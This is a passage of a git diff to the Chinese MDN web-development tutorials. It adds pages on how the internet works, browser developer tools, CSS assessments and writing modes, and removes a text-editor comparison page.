安装文本编辑器通常很简单。方法根据您的平台而有所不同,但都不难:

+ + + +

当您安装新的文本编辑器时,您的操作系统可能会继续使用其默认编辑器打开文本文件,直到您更改文件关联。这些说明将帮助您在指定操作系统中双击打开文件时选定首选编辑器:

+ + + +

下一步

+ +

现在你已经选择了一个合适的文本编辑器,现在你可以花一些时间来搭建你的基本工作环境,或者你想立即使用它,你可以写下你的第一个网页

diff --git a/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html b/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html new file mode 100644 index 0000000000..ab8eee6e1a --- /dev/null +++ b/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html @@ -0,0 +1,91 @@ +--- +title: 互联网是如何工作的 +slug: learn/How_the_Internet_works +translation_of: Learn/Common_questions/How_does_the_Internet_work +--- +
+

 这篇文章讨论什么是互联网以及它是如何工作的.

+
+ + + + + + + + + + + + +
前提:无,但是鼓励先去阅读 关于设定项目目标的文章
目标:你将会学习到网络的基础技术,以及它与互联网的区别.
+ +

概述

+ +

互联网是网络的支柱,以这种技术为基础使网络成为可能。作为基础,互联网是把电脑互相连接起来的一个巨大网络。

+ +

互联网的历史有些模糊不清。它始于1960年美国军方资助的研究项目。1980年在许多公共大学和公司的支持下,它演变为一种公共基础设施。随着时间的变化,各种各样的技术支持着互联网的发展,但是它的工作方式却没有改变多少:互联网确保所有的电脑之间的连接,无论发生什么他们依旧保持连接。

+ +

自主学习

+ + + +

深入探索

+ +

一个简单的网络

+ +

当两台电脑需要通信的时候,你必须要连接他们,无论通过有线方式(通常是网线) 还是无线方式(比如 WiFi 或 蓝牙 )。所有现代电脑都支持这些连接。

+ +
+

提示: 接下来的内容,我们将只谈论有线连接, 而无线连接的原理与此相同。

+
+ +

Two computers linked together

+ +

通常一个网络不仅限于两台电脑。你可以尽你所想地连接电脑,但是情况立刻变得复杂了。如果你尝试连接,比如说十台电脑,每台电脑有九个插头,总共需要45条网线。

+ +

Ten computers all together

+ +

为了解决这个问题,网络上的每台电脑需要链接到一个叫做路由器(router)的特殊小电脑。路由器只干一件事:就像火车站的信号员,它要确保从一台电脑上发出的一条信息可以到达正确的电脑。为了把信息发送给电脑B,电脑A必须把信息发送给路由器,路由器将收到的信息转发给电脑B,并且确保信息不会发送给电脑C。

+ +

一旦我们把路由器加入到这个系统,我们的网络中便只需要十条网线:每台电脑一个插口,路由器上十个插口。

+ +

Ten computers with a router

+ +

网络中的网

+ +

到目前为止一切都很好 . 但是我们要连接成百上千,上亿台电脑呢? 当然一台路由器覆盖不了这么远, 但是,如果你阅读得比较认真,我们曾提到路由器像其他电脑一样,所以我们为什么不把两个路由器彼此连接呢?

+ +

Two routers linked together

+ +

我们把电脑连接路由器, 接着路由器连接路由器,我们就会有无穷的规模。

+ +

Routers linked to routers

+ +

这样网络越来越接近我们所说的互联网 ,但是我们遗漏了一些东西。我们建立网络是为了我们自己的目的。所以不同的人会建立不同的网络:你的朋友,你的邻居,每个人都可以拥有自己的计算机网络。在你的房子和世界其它地方之间架设电缆将这些不同的网络连接起来是不可能的,那么你该如何处理这件事呢?其实已经有电缆连接到你的房子了,比如,电线和电话。电话基础设施已经可以把你家连接到世界的任何角落,所以它就是我们需要的线。为了连接电话这种网络我们需要一种基础设备叫做调制解调器(modem),调制解调器可以把网络信息变成电话设施可以处理的信息,反之亦然。

+ +

A router linked to a modem

+ +

这样,我们可以通过电话基础设施相互连接。下一步是把信息从我们的网络发送到我们想要到达的地方。为了做这些,我们需要把我们的网络连接到互联网服务提供商(ISP)。ISP是一家可以管理一些特殊的路由器的公司,这些路由器连接其他ISP的路由器. 你的网络消息可以被ISP捕获并发送到相应的网络。互联网就是由这些所有的网络设施所组成。

+ +

Full Internet stack

+ +

寻找电脑

+ +

如果你想给一台电脑发送一条信息,你必须指明它是哪台电脑。因此,任何连接到网络中的电脑都需要有一个唯一的地址来标记它,叫做 "IP 地址" (IP代表网络协议)。这个地址由四部分被点分隔的数字序列组成,比如:192.168.2.10。

+ +

对于电脑这样已经很好了,但是人类却很难记忆这一串地址。为了简单处理,我们给IP地址取一个容易阅读的别名:域名。比如,google.com 被用于IP地址 172.217.7.14。这样我们通过这些域名可以很容易的通过网络连接到电脑.

+ +

互联网(Internet)和网络(web)

+ +

你可能注意到了, 当我们通过浏览器上网的时候,我们通常是用域名去到达一个网站。这是否意味着互联网(Internet)和网络(Web)是一样的?事实并非这么简单。正如向我们所见,互联网是一种基础的技术,它允许我们把成千上万的电脑连接在一起。在这些电脑中,有 一些电脑(我们称之为网络服务器(Web servers))可以发送一些浏览器可以理解的信息。互联网是基础设施,网络是建立在这种基础设施之上的服务。值得注意的是,一些其他服务运行在互联网之上,比如邮箱和{{Glossary("IRC")}}.

+ +

下一步

+ + diff --git a/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html b/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html new file mode 100644 index 0000000000..69081b9745 --- /dev/null +++ b/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html @@ -0,0 +1,230 @@ +--- +title: 什么是浏览器开发者工具? +slug: Learn/Discover_browser_developer_tools +tags: + - 开发工具 + - 调试 +translation_of: Learn/Common_questions/What_are_browser_developer_tools +--- +
+

每一个现代网络浏览器都包含一套强大的开发工具套件。这些工具可以检查当前加载的HTML、CSS和JavaScript,显示每个资源页面的请求以及载入所花费的时间。本文阐述了如何利用浏览器的开发工具的基本功能。

+
+ +
+

注意:在你运行下面的例子之前,打开我们在Web开发入门系列文章中建立的初学者示例网站。你应该按照下面的步骤打开。

+
+ +

如何在浏览器中打开开发者工具

+ +

开发者工具内置在您的浏览器的子窗口之中,大概像这样:

+ +

+ +

如何打开它?有三种方式:

+ + + +

+ +

检查器(Inspector):DOM 浏览器和CSS编辑器

+ +

开发者工具在打开时默认为检查器页面,如下图所示。这个工具可以让你看到你的网页的HTML运行时的样子,以及哪些CSS规则被应用到了页面上元素。它还允许您立即修改HTML和CSS并在浏览器中实时观察修改的结果。

+ +

+ +

如果你看不到调试器,

+ + + +

探索DOM检查器

+ +

首先在DOM检查器中右键单击(按Ctrl点击)一个HTML元素,看上下文菜单。菜单选项各不相同,但主要功能是相同的:

+ +

+ + + +

现在试着编辑一些你的DOM。双击元素,或在页面内容里右键单击它并选择编辑HTML。你可以做出任何你想要的改变,但你不能保存。

+ +

探索CSS编辑器

+ +

默认情况下,CSS编辑器显示当前所选元素应用的CSS规则:

+ +

这些功能特别有用:

+ + + +

您会注意到CSS查看器顶部的一些可点击的选项卡:

+ + + +

了解更多

+ +

了解更多Inspector在不同的浏览器中的细节:

+ + + +

JavaScript调试器

+ +

你可在JavaScript调试器中查看变量的值,或者设置断点。断点的作用是让程序在你指定的位置暂停,以便你来调试程序并确定问题所在。

+ +

+ +

如何打开调试器:

+ +

火狐,谷歌,IE,Edge:F12

+ +

Safari:开打开发者工具,然后选择 "Debugger" 标签。

+ +

尝一尝调试器的味

+ +

火狐的调试器有三个面板

+ +

文件列表

+ +

第一个面板位于左边,它包涵着你正在调试的网页的文件列表。从列表中选中你要操作的文件。通过点击选中一个文件,可以在调试中间的面板看到它的内容。

+ +

+ + + +

源码

+ +

在你想要停止执行的位置设置间断点。在下面图片中,高亮的第18行就是被设置的断点。

+ +

+ +

“监视表达示”和“断点”

+ +

右边的面板会显示你添加的监视表达示与断点。

+ +

在下图中,第一个区域,监视表达示,显示了变量 listItem 已经被添加,你可以展开列表查看里面的值。

+ +

接下来的部分,断点 标签,列出了页面上设置的断点。在 example.js(上上个图中)中,一个断点被定位在语句 listItems.push(inputNewItem.value); 上。

+ +

最后两个部分,只在代码运行时才出现。

+ +

调用栈 区向你显示哪个代码执行后会达到当前行。你能看到代码处理了一次鼠标点击后,停在了断点处。

+ +

最后一部分,Scopes,显示了在代码执行过程中,可见变量值的变化。例如,在下面图片中,你可以看到对像在addItemClick函数中是如何变化的。

+ + + +

+ +

再了解一些

+ +

了解不同浏览器中的JavaScript调试器:

+ + + +

JavaScript控制台  

+ +

JavaScript控制台是一个非常有用的工具,用于调试没有按预期运行的JavaScript。它允许您针对浏览器当前加载的页面运行JavaScript行,并报告浏览器尝试执行代码时遇到的错误。要在任何浏览器中访问控制台,只需按控制台按钮。 (在Internet Explorer中,按Ctrl + 2.)这将给你一个如下所示的窗口:

+ +

+ +

要查看会发生什么,请尝试逐个输入以下代码片段(然后按Enter键):

+ +
    +
  1. +
    alert('hello!');
    +
  2. +
  3. +
    document.querySelector('html').style.backgroundColor = 'purple';
    +
  4. +
  5. +
    var my_image = document.createElement('img');
    +
    +//下面的url已经不再可用,这里注释掉,后面补上了一个可以url
    +//且myImage在文章开始给的“初学者示例网址”存在声明冲突,所以改为my_image
    +//myImage.setAttribute('src','https://farm4.staticflickr.com/3455/3372925208_e1f2aae4e3_b.jpg');
    +my_image.setAttribute('src','https://media.giphy.com/media/3o6ozhxFlr4Ung40RG/giphy.gif');
    +
    +document.querySelector('h1').appendChild(my_image);
    +
  6. +
+ +

现在尝试输入以下错误的代码版本,看看你得到什么。

+ +
    +
  1. +
    alert('hello!);
    +
  2. +
  3. +
    document.cheeseSelector('html').style.backgroundColor = 'purple';
    +
  4. +
  5. +
    var my_Image = document.createElement('img');
    +myBanana.setAttribute('src','https://media.giphy.com/media/3o6ozhxFlr4Ung40RG/giphy.gif');
    +document.querySelector('h1').appendChild(my_Image);
    +
  6. +
+ +

您将开始看到浏览器返回的错误类型。通常这些错误是相当神秘的,但是应该很简单的把这些问题解决出来!

+ +

了解更多

+ +

了解更多JavaScript控制台在不同浏览器中的细节:

+ + + +

 参见

+ + diff --git "a/files/zh-cn/learn/common_questions/\345\256\236\347\224\250\346\226\207\346\234\254\347\274\226\350\276\221\345\231\250/index.html" "b/files/zh-cn/learn/common_questions/\345\256\236\347\224\250\346\226\207\346\234\254\347\274\226\350\276\221\345\231\250/index.html" deleted file mode 100644 index f8f394191d..0000000000 --- "a/files/zh-cn/learn/common_questions/\345\256\236\347\224\250\346\226\207\346\234\254\347\274\226\350\276\221\345\231\250/index.html" +++ /dev/null @@ -1,295 +0,0 @@ ---- -title: 什么文本编辑器比较好用? -slug: Learn/Common_questions/实用文本编辑器 -translation_of: Learn/Common_questions/Available_text_editors ---- -
{{IncludeSubnav("/en-US/Learn")}}
- -
-

在这篇文章中我们强调了关于web开发者安装文本编辑器的一些考虑事项。

-
- - - - - - - - - - - - -
前提条件:你应该已经知晓了  为了建立一个网站所需的各种软件
目标:学习作为一个web开发者如何选择一个最适合自己需求的文本编辑器。
- -

概要

- -

一个网站包括很多文本文件, 所以为了拥有一个有趣的,令人愉快的开发经历你应该明智地选择你的文本编辑器。 

- -

可做选择的文本编辑器数量实在是太多了,因为文本编辑器对于计算机科学来说是如此基础(是的,web开发是计算机科学)。按理想来说,你应该尽你可能的尝试足够多的编辑器然后感受出来哪一款适合你的工作流程。但是我们将会给予你一些初学者的建议。

- -

以下是一些你应该考虑的基本问题:

- - - -

注意我们没有提及价格。显然,这也是要注意的,但一件产品的成本和它的质量或性能几乎没有关系。很大概率下,你能找到一个合适的免费文本编辑器。

- -

以下是一些流行的编辑器:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
编辑器授权条款价格操作系统支持文档可延展性
AtomMIT/BSD免费Windows, Mac, Linux论坛在线指南
BracketsMIT/BSD免费Windows, Mac, Linux论坛, IRCGitHub Wiki
Coda闭源$99Mac推特, 论坛, 电子邮件电子书
EmacsGPL 3免费Windows, Mac, Linux常见问题, 邮件清单, 新闻组在线指南
Espresso闭源$75Mac常见问题, 电子邮件没有终端用户文档,但有插件文档
GeditGPL免费Windows, Mac, Linux邮件清单, IRC在线指南
Komodo EditMPL免费Windows, Mac, Linux论坛在线指南
Notepad++GPL免费Windows论坛Wiki
PSPad闭源免费Windows常见问题, 论坛在线帮助
Sublime Text闭源$70Windows, Mac, Linux论坛官方文档 非官方文档
TextMate闭源$50Mac推特, IRC, 邮件清单, 电子邮件在线指南, Wiki
TextWrangler闭源免费Mac常见问题, 论坛PDF指南
Vim特殊开放式许可证免费Windows, Mac, Linux邮件清单在线指南
Visual Studio CodeMIT许可下的开放源码/ 产品的具体许可证免费Windows, Mac, Linux常见问题     文件
- -

主动学习

- -

还没有主动学习。 请考虑投稿贡献。

- -

深入挖掘

- -

选择标准

- -

所以,更详细地说,你在选择文本编辑器时应该怎么考虑?

- -

我想在哪个操作系统上工作?

- -

当然这是你的选择。然而,一些编辑器只支持特定的操作系统,所以如果你喜欢切换系统,这将会缩小你的选择范围。只要在你的系统上运行了,任何文本编辑器都能 完成工作,但跨平台的编辑器可以轻松的在操作系统间迁移。

- -

所以首先找出你使用的操作系统,然后检查指定的编辑器是否支持你的操作系统。大多数编辑器在他们的网站上指定了是否支持Windows或Mac,尽管一些编辑器只支持某些版本(比如说只有Windows 7或更高版本而不是Vista)。如果正在运行Ubuntu,最好的方法是在Ubuntu软件中心内进行搜索。当然,一般来说,Linux / UNIX系列是一个相当多元化的地方,其中不同的发行版与不同的不兼容的包装系统配合使用。这意味着,如果你强烈地(而不是微弱的)想使用某些未经编译的文本编辑器,则可能需要下载源码自己编译它。

- -

我想使用什么样的技术?

- -

一般来说,任何文本编辑器都可以打开任意文本文件。这对于自己写笔记来说是非常有用的,但是当你使用HTMLCSSJavaScript进行Web开发和编写时,你将生产出很大的复杂文件。通过选择一个适用你使用的技术的文本编辑器,可以使你更轻松自如。许多文本编辑器可以帮助你实现如下功能

- - - -

大多数文本编辑器现在都支持代码着色,但不一定是支持其他两个功能。尤其确保你的文本编辑器会对HTMLCSSJavaScript进行颜色编码

- -

我希望我的文本编辑器具备哪些基本功能?

- -

这取决于你的需求和计划。以下功能通常是很有帮助的:

- - - -

我想为我的文本编辑器添加额外功能吗?

- -

可扩展的编辑器具有较少的内置功能,但可以根据你的需要进行扩展。

- -

如果你不确定要使用哪些功能,或者你最喜欢的编辑器缺少这些功能,使用可扩展编辑器吧。最好的编辑器将会提供许多插件,理想的方法是自动查找和安装新的插件。

- -

如果你喜欢的功能很多 ,并且你的编辑器因为安装的插件而变慢,请尝试使用IDE(集成开发环境)。IDE在一个界面中提供了许多工具,对于初学者来说,这是一个令人望而生畏的工作,但是如果你感觉你的文本编辑器功能有限,这是一个不错的选项。以下是一些流行的IDE:

- - - -

当使用文本编辑器时我需要支持或者帮助吗?

- -

如果在使用软件时可以获得帮助总是令人高兴的。对于文本编辑器,请检查两种不同类型的支持:

- -
    -
  1. 面向用户的内容(常见问题,指南,在线帮助)
  2. -
  3. 与开发者和其他用户讨论(论坛,电子邮件,IRC)
  4. -
- -

在学习如何使用编辑器时使用书面文档。如果在安装或使用编辑器时遇到了疑难问题,请与其他用户联系。

- -

对我来说文本编辑器的外观和感觉重要吗?

- -

这个问题在于个人品味,但有些人喜欢自定义UI(用户界面)的每一个细节,从颜色到按钮位置。编辑器的灵活性差异很大,所以选择前先检查一下。找到一个可以改变配色方案的文本编辑器并不难,但是如果你想要大量的自定义,你可能最好使用IDE。

- -

安装并设置

- -

安装文本编辑器通常很简单。方法根据您的平台而有所不同,但都不难:

- - - -

当您安装新的文本编辑器时,您的操作系统可能会继续使用其默认编辑器打开文本文件,直到您更改文件关联。这些说明将帮助您在指定操作系统中双击打开文件时选定首选编辑器:

- - - -

下一步

- -

现在你已经选择了一个合适的文本编辑器,现在你可以花一些时间来搭建你的基本工作环境,或者你想立即使用它,你可以写下你的第一个网页

diff --git a/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html b/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html new file mode 100644 index 0000000000..6ddd1d114b --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html @@ -0,0 +1,88 @@ +--- +title: 一个漂亮的盒子 +slug: Learn/CSS/Styling_boxes/A_cool_looking_box +translation_of: Learn/CSS/Building_blocks/A_cool_looking_box +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}
+ +

在这个评估里,通过尝试创造一个引人瞩目的盒子,你将得到更多关于如何创造酷炫盒子的练习。

+ + + + + + + + + + + + +
前提条件:在开始这个评估之前你应该已经学习过这个模块里的所有其他文章。
目的:测试对CSS盒模型和其他盒相关特性的掌握程度,比如背景和边框。
+ +

起点

+ +

在开始评估之前,你需要:

+ + + +
+

提醒:或者你也可以用JSBinThimble这样的网站来做这个评估,把链接里的HTML和CSS代码贴到这些在线编辑器里就行。如果你在用的在线编辑器没有独立的CSS面板的话,把CSS代码放到HTML文档头部的<style>元素里就好。

+
+ +

项目简介

+ +

你的任务是创建一个酷炫的盒子,并探索CSS的乐趣。

+ +

一般任务

+ + + +

样式化盒子

+ +

给{{htmlelement("p")}}添加样式:

+ + + +

范例

+ +

完成之后的盒子可能会像下面的截图这样:

+ +

+ +

评估

+ +

如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在Learning Area Discourse threadMozilla IRC#mdn IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!

+ +

{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}

+ +

在这个模块里

+ + + +

​​​ 

diff --git a/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html b/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html new file mode 100644 index 0000000000..692071dfde --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html @@ -0,0 +1,101 @@ +--- +title: 创建精美的信纸 +slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper +translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}
+ +

如果你想给人留下好印象,把信写在一张精美的信纸上会是个不错的开始,在这个评估里我们希望你能创建一个在线模版来达到这样的效果。

+ + + + + + + + + + + + +
前提条件:在开始这个评估之前你应该已经学习过这个模块里的所有其他文章。
目的:测试对CSS盒模型和其他盒相关特性的掌握程度,比如实现背景等。
+ +

起点

+ +

在开始评估之前,你需要:

+ + + +
+

提醒:或者你也可以用JSBinThimble这样的网站来做这个评估,把链接里的HTML和CSS代码贴到这些在线编辑器里就行。如果你在用的在线编辑器没有独立的CSS面板的话,把CSS代码放到HTML文档头部的<style>元素里就好。

+
+ +

项目简介

+ +

你已经有了创建一个信纸模版所需的所有文件,只需把它们放到一起就好。为了达到目标,你需要:

+ +

信纸主体

+ + + +

标志

+ + + +

提示和技巧

+ + + +

范例

+ +

完成之后的信纸可能会像下面的截图这样:

+ +

+ +

 

+ +

评估

+ +

如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在 discussion thread for this exercise 或Mozilla IRC#mdn IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!

+ +

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}

+ +

 

+ +

在这个模块里

+ + + +

 

diff --git a/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html b/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html new file mode 100644 index 0000000000..b246af87fe --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html @@ -0,0 +1,127 @@ +--- +title: 基本的CSS理解 +slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension +tags: + - 初学者 + - 盒模型 + - 评估 + - 选择器 +translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}
+ +

你已经在这个模块中了解到了很多内容, 所以当你达到这个模块的最后一篇文章的时候,感觉一定非常不错吧!在你继续之前的最后一步,就是完成对于这个模块的测验。本次测验涉及到几个相关的练习,你必须按顺序完成,这样你才能设计出最终的成品:一张名片/游戏玩家卡片/社交媒体的简介。

+ + + + + + + + + + + + +
学习本章的前提条件:在尝试这个测验之前,你应该已经完成了这个模块中所有文章的学习。
目标:来测试对 CSS 理论、语法、功能性的基本理解。
+ +

起点

+ +

在开始测验之前,你应该:

+ + + +
+

注意: 另外, 你可以使用一个网站比如 JSBin 或 Thimble 来做你的测验。你可以复制 HTML 和 CSS 到其中一个在线编辑器中,以及使用这个 this URL 来让 <img> 显示图片。如果你使用的在线编辑器无法让你链接 CSS 文件 (没有单独的 CSS 面板),你也可以将 CSS 直接放入<style> 元素中。

+
+ +

项目概要

+ +

我们已经为你提供了一些原始的 HTML 和一张图片,然后需要编写必要的 CSS 来让其成为一个漂亮的网上小名片,可能大小是游戏玩家卡片或社交媒体简介的两倍。下面的段落描述了你需要做的事情。

+ +

基本设置:

+ + + +

关注我们为你提供的选择器和规则集:

+ + + +

你需要写的新规则:

+ + + +
+

注意: 记住第二条规则集会将 font-size: 10px; 设置在 <html> 元素上 — 这意味着 <html> 的任何后代中,一个em将会等于10px而不是默认的 16px 。(这是当然的,如果在层次结构中,有不同的 font-size 设置于其上,问题中的后代没有任何的祖先位于 em元素和 <html> 之间。这可能会影响您所需要的值,尽管在这个简单的示例中,这不是问题。)

+
+ +

其他事情要考虑:

+ + + +

注意和提示

+ + + +

示例

+ +

完成的设计应如下图所示:

+ +

A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image.

+ +

评估

+ +

如果您将此评估作为有组织的课程的一部分,您应该能够将您的工作交给您的老师/导师进行打分。 如果您是自学的,那么您可以通过询问  Learning Area Discourse thread, 或在 #mdn的IRC频道 Mozilla IRC 中轻松获得打分指南. 首先尝试练习 - 作弊学不到什么!

+ +

{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}

+ +

在本单元中

+ + diff --git a/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html b/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html new file mode 100644 index 0000000000..f907c93a3c --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html @@ -0,0 +1,151 @@ +--- +title: 处理不同方向的文本 +slug: Learn/CSS/Building_blocks/处理_不同_方向的_文本 +translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
+ +

目前为止我们在CSS学习中遇到的许多属性和属性值与显示器的物理尺度紧密相关。例如,我们会在上、右、下、左设置边框。这些物理尺寸与水平排布的文本相得益彰,并且,默认浏览器对方向从左到右的文本(如英文或法文)的支持,要优于从右到左的文本(如阿拉伯语)的支持。

+ +

然而,CSS在最近几年得到了改进,以更好地支持不同方向的文本,包括从右到左,也包括从上到下的文本(如日文)——这些不同的方向属性被称为书写模式。随着学习的深入,当你开始试着对页面进行布局时,对书写模式的了解将会对你很有帮助,为此我们在这里加以介绍。

+ + + + + + + + + + + + +
先决条件:计算机基础知识,基本软件(参见basic software installed),文件管理的基本知识(参见working with files),HTML基础(HTML 学习Introduction to HTML)以及CSS基础(学习CSS first steps)。
目标:了解书写模式对现代CSS的重要
+ +

什么是书写模式

+ +

CSS中的书写模式是指文本的排列方向是横向还是纵向的。{{cssxref("writing-mode")}} 属性使我们从一种模式切换到另一种模式。为此,你不必使用一种竖向的语言——你还可以更改部分文字的方向以实现创新性的布局。

+ +

下面的例子中,我们使用writing-mode: vertical-rl对一个标题的显示进行设置。现在,标题文本是竖向的了。竖向文本在平面设计中很常见,也可以为你的网页设计增添更加有趣的外观。

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}

+ +

writing-mode的三个值分别是:

+ + + +

因此,writing-mode属性实际上设定的是页面上块级元素的显示方向——要么是从上到下,要么是从右到左,要么是从左到右。而这决定了文本的方向。

+ +

书写模式、块级布局和内联布局

+ +

我们已经讨论了块级布局和内联布局(block and inline layout),也知道外部显示类型元素分为块级元素和内联元素。如上所述,块级显示和内联显示与文本的书写模式(而非屏幕的物理显示)密切相关。如果你使用书写模式的显示是横向的,如英文,那么块在页面上的显示就是从上到下的。

+ +

用一个例子可以更清楚地说明这一点。下一个例子中有两个盒子,分别包含一个标题和一个段落。第一个盒子应用的是writing-mode: horizontal-tb,这是一个从上到下的横向的书写模式。第二个盒子应用的是writing-mode: vertical-rl,这是一个从右到左的纵向的书写模式。

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}

+ +

当我们切换书写模式时,我们也在改变块和内联文本的方向。horizontal-tb书写模式下块的方向是从上到下的横向的,而 vertical-rl书写模式下块的方向是从右到左的纵向的。因此,块维度指的总是块在页面书写模式下的显示方向。而内联维度指的总是文本方向。 

+ +

这张图展示了在水平书写模式下的两种维度。

+ +

这张图片展示了纵向书写模式下的两种维度。

+ +

+ +

一旦你开始接触CSS布局,尤其是更新的布局方法,这些关于块级元素和内联元素的概念会变得非常重要。我之后会返回来再看。

+ +

方向

+ +

除了书写模式,我们还可以设置文本方向。正如上面所言,有些语言(如阿拉伯语)是横向书写的,但是是从右向左。当你在对页面布局进行创新时,你可能不这么使用——如果你只是想讲某部分内容放到右边排列下来,还有其他方法可以选择——然而,重要的是能意识到,这其实是CSS本身功能的一部分。网页可不仅限于从左向右排列的语言!

+ +

由于书写模式和文本方向都是可变的,新的CSS布局方法不再定义从左到右和从上到下,而是将这些连同内联元素和块级元素的开头结尾一起考量。现在不必过于担心,但是带着这些概念开始你的布局,你会发现这对你掌握CSS非常有用。

+ +

逻辑属性和逻辑值

+ +

我们之所以要在这里探讨书写模式和方向,是因为目前为止我们已经了解了很多与屏幕的物理显示密切相关的很多属性,而书写模式和方向在水平书写模式下会很有意义。

+ +

让我们再来看看那两个盒子——一个用horizontal-tb设定了书写模式,一个用vertical-rl设定了书写模式。我为这两个盒子分别设定了宽度( {{cssxref("width")}})。可以看到,当盒子处于纵向书写模式下时,宽度也发生了变化,从而导致文本超出了盒子的范围。

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}

+ +

通过这一些列调整,我们想要的实际上是使宽和高随着书写模式一起变化。当处于纵向书写模式之下时,我们希望盒子可以向横向模式下一样得到拓宽。

+ +

为了更容易实现这样的转变,CSS最近开发了一系列映射属性。这些属性用逻辑(logical)和相对变化(flow relative)代替了像宽width和高height一样的物理属性。

+ +

横向书写模式下,映射到width的属性被称作内联尺寸({{cssxref("inline-size")}})——内联维度的尺寸。而映射height的属性被称为块级尺寸({{cssxref("block-size")}}),这是块级维度的尺寸。下面的例子展示了替换掉widthinline-size是如何生效的。

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}

+ +

逻辑外边距、边框和内边距属性

+ +

我们在前面两节中学习了CSS的盒模型和CSS边框。在外边距、边框和内边距属性中,你会发现许多物理属性,例如 {{cssxref("margin-top")}}、 {{cssxref("padding-left")}}和 {{cssxref("border-bottom")}}。就像width和height有映射,这些属性也有相应的映射。

+ +

margin-top属性的映射是{{cssxref("margin-block-start")}}——总是指向块级维度开始处的边距。

+ +

{{cssxref("padding-left")}}属性映射到 {{cssxref("padding-inline-start")}},这是应用到内联开始方向(这是该书写模式文本开始的地方)上的内边距。{{cssxref("border-bottom")}}属性映射到的是{{cssxref("border-block-end")}},也就是块级维度结尾处的边框。

+ +

下面是物理和逻辑属性之间的对比。

+ +

如果你用writing-mode把盒子.box的书写模式改为vertical-rl,你将会看到尽管盒子的物理方向变了,盒子的物理属性仍然没变,然而逻辑属性会随着书写模式一起改变。

+ +

你还可以看到,二级标题{{htmlelement("h2")}}有一个黑色的底部边框border-bottom。你知道如何使得底部边框无论在那种书写模式下都位于文本的下方吗?

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}

+ +

对于每一个普通边距,都有许多属性可以参考,你可以在MDN页面(Logical Properties and Values)查看所有映射属性。

+ +

逻辑值

+ +

目前为止我们看到的都是逻辑属性的名称。还有一些属性的取值是一些物理值(如toprightbottomleft)。这些值同样拥有逻辑值映射(block-startinline-endblock-endinline-start)。

+ +

例如,你可以将一张图片移到左边,并使文本环绕图片。你可以将left替换为inline-start ,就像下面的例子中一样。

+ +

将这个例子的书写模式改为vertical-rl,看看图片会发生什么。将inline-start改为inline-end来改变图片的移动。

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}

+ +

之类,我们同样使用逻辑边距值来保证在任何书写模式下边距的位置都是对的。

+ +
+

译者注:float的逻辑值暂时只有Firefox和Firefox for Android支持,上面的例子可能无法生效。

+
+ +

应该使用物理属性还是逻辑属性呢?

+ +

逻辑属性是在物理属性之后出现的,因而最近才开始在浏览器中应用。你可以通过查看MDN的属性页面来了解浏览器对逻辑属性的支持情况。如果你并没有应用多种书写模式,那么现在你可能更倾向于使用物理属性,因为这些在你使用弹性布局和网格布局时非常有用。

+ +

总结

+ +

